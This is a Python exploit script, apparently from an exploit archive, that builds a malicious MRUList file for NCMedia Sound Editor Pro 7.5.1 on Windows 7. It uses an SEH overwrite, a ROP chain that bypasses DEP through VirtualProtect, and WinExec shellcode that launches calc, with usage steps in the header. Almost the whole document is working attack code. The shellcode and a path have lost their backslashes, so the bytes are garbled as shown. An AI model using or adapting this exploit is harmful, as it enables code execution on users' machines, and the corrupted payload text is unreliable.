#!/usr/bin/python

#---------------------------------------------------------------------------#
# Exploit: NCMedia Sound Editor Pro v7.5.1 SEH&DEP                          #
# Author: b33f - http://www.fuzzysecurity.com/                              #
# OS: Windows 7 Pro SP1 (probably universal across 32-bit)                  #
# POC - Julien Ahrens XP SP3: http://www.exploit-db.com/exploits/21331/     #
# Software: http://www.soundeditorpro.com/                                  #
# HOWTO: put the *.dat file in [USER]RoamingSound Editor Pro             #
#        open -> click "File" menu -> calc ;))                              #
#---------------------------------------------------------------------------#
# Curiously enough, the only thing that went through the mind of the        #
# ROP-Chain as it was executed was "Oh no, not again"!                      #
#---------------------------------------------------------------------------#

import sys, socket, struct 

file="MRUList201202.dat"

#--------------------------------------------------------------------------------------------------------------#
# Semi-Universal ROP chain based entirely on MSVCR70.dll which comes packaged with "NCMedia Sound Editor"...   #
#--------------------------------------------------------------------------------------------------------------#
rop = struct.pack('<L',0x7c0126bc)  # XCHG EAX,EBP # ADD AL,7C # RETN                                           
rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN                                                             |
rop += struct.pack('<L',0x7C0390FD) # VirtualProtect() -> ESI=0 EBP=0 -> 7c039138(VP)-3B                         | MOV VP -> ESI
rop += struct.pack('<L',0x7c023a4f) # ADD ESI,DWORD PTR DS:[EAX+EBP+3B] # RETN                                  /
#--------------------------------------------------------------------------------------------------------------#
rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN                                                            
rop += struct.pack('<L',0xFFBF90EF) # NEG is -> 0x00406f11 : jmp esp [SoundEditorPro.exe]                        | JMP ESP -> EBP
rop += struct.pack('<L',0x7c0167cd) # NEG EAX # RETN [MSVCR70.dll]                                               |
rop += struct.pack('<L',0x7c0126b7) # XCHG EAX,EBP # ADD AL,7C # RETN                                           /
#--------------------------------------------------------------------------------------------------------------#
rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN                                                            
rop += struct.pack('<L',0xFFFFFDFF) # Neg is 201-HEX (513-bytes)                                                 | Executable Size -> EBX
rop += struct.pack('<L',0x7c0167cd) # NEG EAX # RETN                                                             |
rop += struct.pack('<L',0x7c01561c) # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN                                /
#--------------------------------------------------------------------------------------------------------------#
rop += struct.pack('<L',0x7c026484) # POP EDI # RETN                                                              ROP-NOP -> EDI
rop += struct.pack('<L',0x7c034e02) # ROP-NOP                                                                   /
#--------------------------------------------------------------------------------------------------------------#
rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN                                                            
rop += struct.pack('<L',0xFFFFFFC0) # NEG is 0x40                                                                | newProtect -> EDX
rop += struct.pack('<L',0x7c0167cd) # NEG EAX # RETN                                                             |
rop += struct.pack('<L',0x7c026dc4) # MOV EDX,EAX # INC ECX # MOVZX EAX,BYTE PTR DS:[ECX] # ADD EAX,EDX # RETN  /
#--------------------------------------------------------------------------------------------------------------#
rop += struct.pack('<L',0x7c034e01) # POP ECX # RETN                                                              RW lpOldProtect -> ECX
rop += struct.pack('<L',0x7c049001) # lpOldProtect                                                              /
#--------------------------------------------------------------------------------------------------------------#
rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN                                                              NOP padding -> EAX
rop += struct.pack('<L',0x90909090) # NOP                                                                       /
#--------------------------------------------------------------------------------------------------------------#
rop += struct.pack('<L',0x7c0126b6) # PUSHAD # XCHG EAX,EBP # ADD AL,7C # RETN                                  |  PUSHAD -> pwnd!!
#--------------------------------------------------------------------------------------------------------------#

#----------------------------------
# Greets to SkyLined, you do great work with shellcode!!
#----------------------------------
calc = (
"x31xD2"                      #
"x52"                          #
"x68x63x61x6Cx63"          # Stack has arguments for
"x89xE6"                      # WinExec -> calc
"x52"                          #
"x56"                          ########
"x64x8Bx72x30"              #
"x8Bx76x0C"                  #
"x8Bx76x0C"                  # Found Kernel32
"xAD"                          # base address
"x8Bx30"                      #
"x8Bx7Ex18"                  ########
"x8Bx5Fx3C"                  # Found export table offset
"x8Bx5Cx1Fx78"              ########
"x8Bx74x1Fx20"              # Found export names table
"x01xFE"                      ########
"x8Bx4Cx1Fx24"              # Found export ordinals table
"x01xF9"                      ########
"x42"                          #
"xAD"                          # Found WinExec ordinal
"x81x3Cx07x57x69x6Ex45"  #
"x75xF5"                      ########
"x0FxB7x54x51xFE"          #
"x8Bx74x1Fx1C"              #
"x01xFE"                      # Pop calc ;))
"x03x3Cx96"                  #
"xFFxD7")                     #

#----------------------------------
# badchars -> 'x00x0dx0a'
# 0x0040e02a {pivot 1092}  # ADD ESP,444 # RETN [SoundEditorPro.exe]
# ROP-NOP Slide 0x7c034e02 [MSVCR70.dll]
#----------------------------------
b00m = "x90"*10 + calc
poc = "x02x4Ex03x7C"*61 + rop + b00m + "x41"*(3880-len(rop + b00m)) + "x2AxE0x40x00"

try:
    print "[*] Creating exploit file...n"
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!"
except:
    print "[!] Error while creating file!"